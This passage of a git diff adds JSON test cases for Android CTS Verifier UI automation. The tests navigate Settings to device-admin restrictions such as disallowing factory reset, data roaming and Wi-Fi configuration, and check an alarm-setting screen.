out\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":552.6666666666666,\"x2\":63.0,\"y2\":581.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"\"},{\"uuid\":\"d9b52971-b421-4a57-8a71-7e270deb2a82\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"8b93fe5d-82d7-4dee-994c-f485ec681bec\",\"displayText\":\"Advanced\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Advanced\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":550.0,\"x2\":117.33333333333333,\"y2\":567.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.8333333333333428,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Advanced\"},{\"uuid\":\"a5cf05c4-6504-4942-b49d-3ddc76928a14\",\"displayText\":\"App pinning, Confirm SIM deletion\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"App pinning, Confirm SIM deletion\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":567.0,\"x2\":248.33333333333334,\"y2\":584.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"App pinning, Confirm SIM deletion\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":536.0,\"x2\":346.0,\"y2\":598.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Advanced\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":536.0,\"x2\":360.0,\"y2\":598.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":557.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":9.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"8b93fe5d-82d7-4dee-994c-f485ec681bec\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Advanced\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":57.0,\"y1\":549.0,\"x2\":127.0,\"y2\":566.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Advanced\",\"actionId\":\"f8abe51a-d1b2-442d-825f-439908727019\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Advanced\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Device admin apps\",\"actionId\":\"e078222d-892b-479e-a3ae-1c6afd06981b\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Device admin apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"e0488ca2-95a4-43c0-accf-ada3e01b1e60\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"323c4598-1321-4c0c-9f9a-2db918496062\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"af009cfd-f790-4d81-8a0d-1fa77fe55963\",\"displayText\":\"Device admin apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Device admin apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":367.3333333333333,\"x2\":182.66666666666666,\"y2\":386.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.6666666666666714,\"y\":2.3333333333333144,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Device admin apps\"},{\"uuid\":\"02125a2d-3f61-4a30-b281-6a6b1ca53d91\",\"displayText\":\"1 active app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"1 active app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":386.3333333333333,\"x2\":129.33333333333334,\"y2\":403.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"1 active app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":353.3333333333333,\"x2\":346.0,\"y2\":417.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Device admin apps\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":353.3333333333333,\"x2\":360.0,\"y2\":417.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":124.5,\"y\":374.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":55.5,\"y\":10.833333333333314,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"af009cfd-f790-4d81-8a0d-1fa77fe55963\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Device admin apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":52.0,\"y1\":357.0,\"x2\":197.0,\"y2\":392.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Device admin apps\",\"actionId\":\"f83b79f0-7b21-4965-a1e7-84115f9d8430\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Device admin apps\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"67ad6999-e805-4dde-b912-51cd2299ec31\",\"ac66f102-a1d5-4209-a9b6-d85a806aa7cf\",\"b925e889-ac82-47bf-859f-c835a7ae2983\",\"f8abe51a-d1b2-442d-825f-439908727019\",\"e078222d-892b-479e-a3ae-1c6afd06981b\",\"f83b79f0-7b21-4965-a1e7-84115f9d8430\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Device admin apps","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.052000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e8f7b797-087f-4398-b4e2-358fe50416f3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e8f7b797-087f-4398-b4e2-358fe50416f3
new file mode 100644
index 0000000..19ee256
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e8f7b797-087f-4398-b4e2-358fe50416f3
@@ -0,0 +1 @@
+{"uuid":"e8f7b797-087f-4398-b4e2-358fe50416f3","details":"{\"type\":\"CompoundAction\",\"name\":\"15-10-Disallow factory reset\",\"actionId\":\"e8f7b797-087f-4398-b4e2-358fe50416f3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow factory reset\",\"actionId\":\"65a889e1-d55b-479e-88e9-8019d42a940d\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow factory reset\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a614a67e-8e5a-4d0e-8fcd-73d84e59f427\",\"displayText\":\"Disallow factory reset\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow factory reset\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":478.3333333333333,\"x2\":360.0,\"y2\":522.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":85.0,\"y\":507.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":95.0,\"y\":-7.166666666666629,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"a614a67e-8e5a-4d0e-8fcd-73d84e59f427\",\"firstText\":\"Disallow factory reset\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow factory reset\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":490.0,\"x2\":168.0,\"y2\":525.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow factory reset\",\"actionId\":\"6c9a3dcb-2f59-4fb9-816e-532e183d9309\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow factory reset\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Erase all data (factory reset)\",\"actionId\":\"99f1e91d-7598-49e5-947a-63a5ee5db9b0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Erase all data (factory reset)\"}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"65a889e1-d55b-479e-88e9-8019d42a940d\",\"6c9a3dcb-2f59-4fb9-816e-532e183d9309\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"d7cdb82c-060e-4a47-83c1-c1b9f6396683\",\"99f1e91d-7598-49e5-947a-63a5ee5db9b0\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"5cab765b-34d5-4922-a223-6322eaf241ae\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-10-Disallow factory reset","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.135000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e92b83d0-131c-4ef1-aaab-49103f238136 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e92b83d0-131c-4ef1-aaab-49103f238136
new file mode 100644
index 0000000..e5035e3
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/e92b83d0-131c-4ef1-aaab-49103f238136
@@ -0,0 +1 @@
+{"uuid":"e92b83d0-131c-4ef1-aaab-49103f238136","details":"{\"type\":\"CompoundAction\",\"name\":\"15-02-Disallow adjust volume\",\"actionId\":\"e92b83d0-131c-4ef1-aaab-49103f238136\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"0e30ea6e-be38-468e-8499-790b05a37760\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-02-Disallow adjust volume","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.124000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/eb48590b-4827-44e1-a2bd-9c3416e92404 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/eb48590b-4827-44e1-a2bd-9c3416e92404
new file mode 100644
index 0000000..313e51f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/eb48590b-4827-44e1-a2bd-9c3416e92404
@@ -0,0 +1 @@
+{"uuid":"eb48590b-4827-44e1-a2bd-9c3416e92404","details":"{\"type\":\"CompoundAction\",\"name\":\"17-06-03-Disallow config Wi-Fi\",\"actionId\":\"eb48590b-4827-44e1-a2bd-9c3416e92404\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config Wi-Fi\",\"actionId\":\"ba5ce41d-e198-4af6-b5c7-88dc7a40352b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config Wi-Fi\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"04030feb-27be-41c6-bd7a-a8f31e3d37a5\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"ba5ce41d-e198-4af6-b5c7-88dc7a40352b\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"04030feb-27be-41c6-bd7a-a8f31e3d37a5\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"17-06-03-Disallow config Wi-Fi","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.203000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ec014d61-87cd-4f31-bd58-01ea49f2fe46 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ec014d61-87cd-4f31-bd58-01ea49f2fe46
new file mode 100644
index 0000000..92b1d94
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ec014d61-87cd-4f31-bd58-01ea49f2fe46
@@ -0,0 +1 @@
+{"uuid":"ec014d61-87cd-4f31-bd58-01ea49f2fe46","details":"{\"type\":\"CompoundAction\",\"name\":\"Screen on device\",\"actionId\":\"ec014d61-87cd-4f31-bd58-01ea49f2fe46\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if status bar exists\",\"actionId\":\"9cd82c9a-af66-4cc0-95c2-01d14adcb40a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/status_bar\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4ac3bb02-4772-406a-9e99-b39155c732d8\",\"displayText\":\"Apps list\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"142ba0da-005e-4f99-b3c8-dfad6f1cd2a1\",\"displayText\":\"Apps list\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.view.View\",\"contentDesc\":\"Apps list\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":171.66666666666666,\"y1\":579.3333333333334,\"x2\":188.33333333333334,\"y2\":585.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Apps list\"}],\"className\":\"android.view.View\",\"resourceId\":\"com.google.android.apps.nexuslauncher:id/scrim_view\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":0.0,\"x2\":360.0,\"y2\":690.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":185.5,\"y\":25.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-5.5,\"y\":319.8333333333333,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"4ac3bb02-4772-406a-9e99-b39155c732d8\",\"firstText\":\"Apps list\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.systemui:id/status_bar\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":17.0,\"y1\":6.0,\"x2\":354.0,\"y2\":45.0}},{\"type\":\"InputAction\",\"name\":\"Power Button\",\"actionId\":\"4393a845-0125-413d-9bd7-03ae0ead3e62\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":26,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"9cd82c9a-af66-4cc0-95c2-01d14adcb40a\",\"4393a845-0125-413d-9bd7-03ae0ead3e62\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Screen on device","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.050000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ec764a5f-6c81-496a-820b-00869272b2f4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ec764a5f-6c81-496a-820b-00869272b2f4
new file mode 100644
index 0000000..17205d6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ec764a5f-6c81-496a-820b-00869272b2f4
@@ -0,0 +1 @@
+{"uuid":"ec764a5f-6c81-496a-820b-00869272b2f4","details":"{\"type\":\"CompoundAction\",\"name\":\"06-Disallow data roaming\",\"actionId\":\"ec764a5f-6c81-496a-820b-00869272b2f4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow data roaming\",\"actionId\":\"10292eed-6f07-4a8e-b746-3ed46ea77eac\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow data roaming\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"3937f70d-7826-4dab-bf2c-dbbd8658f7cf\",\"displayText\":\"Disallow data roaming\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow data roaming\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":553.75,\"x2\":351.25,\"y2\":595.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":81.0,\"y\":576.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":99.0,\"y\":-1.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"3937f70d-7826-4dab-bf2c-dbbd8658f7cf\",\"firstText\":\"Disallow data roaming\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow data roaming\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":5.0,\"y1\":559.0,\"x2\":157.0,\"y2\":593.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow data roaming\",\"actionId\":\"2017e2a9-e8a4-49da-9a57-b7a2d6e18926\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow data roaming\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if Data Roaming is disabled\",\"actionId\":\"67e69aa6-09b7-439b-9de5-935917770637\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Roaming\"},{\"field\":\"enabled\",\"operator\":\"=\",\"value\":\"false\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Roaming\",\"actionId\":\"f72e0a06-2d82-488a-b997-609487dca006\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Roaming\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"a6d008d4-2d85-4d34-a2e0-5ee85670b952\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"40335097-264a-417f-8b61-fb66965a164b\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"c1068330-ea63-4e42-8806-773d1152094f\",\"10292eed-6f07-4a8e-b746-3ed46ea77eac\",\"2017e2a9-e8a4-49da-9a57-b7a2d6e18926\",\"fa171789-d776-46b6-ac6f-39961c4c3414\",\"7e951186-50c3-400e-a5c6-e931dd32a30b\",\"67e69aa6-09b7-439b-9de5-935917770637\",\"f72e0a06-2d82-488a-b997-609487dca006\",\"bcc40c72-d997-4128-80a1-6aca3603c260\",\"a6d008d4-2d85-4d34-a2e0-5ee85670b952\",\"40335097-264a-417f-8b61-fb66965a164b\",\"ed37b636-1904-49d8-a5cc-4f6046f1358b\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"06-Disallow data roaming","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.097000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ed26761a-7dc5-4235-a35f-48025edbd3f3 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ed26761a-7dc5-4235-a35f-48025edbd3f3
new file mode 100644
index 0000000..7215b9a
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ed26761a-7dc5-4235-a35f-48025edbd3f3
@@ -0,0 +1 @@
+{"uuid":"ed26761a-7dc5-4235-a35f-48025edbd3f3","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Alarms and Timers Tests-Set Alarm Test\",\"actionId\":\"ed26761a-7dc5-4235-a35f-48025edbd3f3\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Alarm Test\",\"actionId\":\"d25d2a84-bf35-484f-83e9-296eae3c7f3c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Set Alarm Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Alarm\",\"actionId\":\"72458175-85cc-4a16-8836-c9ab50337d38\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Alarm\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - UI to manage alarms\",\"actionId\":\"5e148d0d-5bd1-4519-9aae-4397b58df44d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"timePicker\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"android:id/timePicker\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - UI to manage 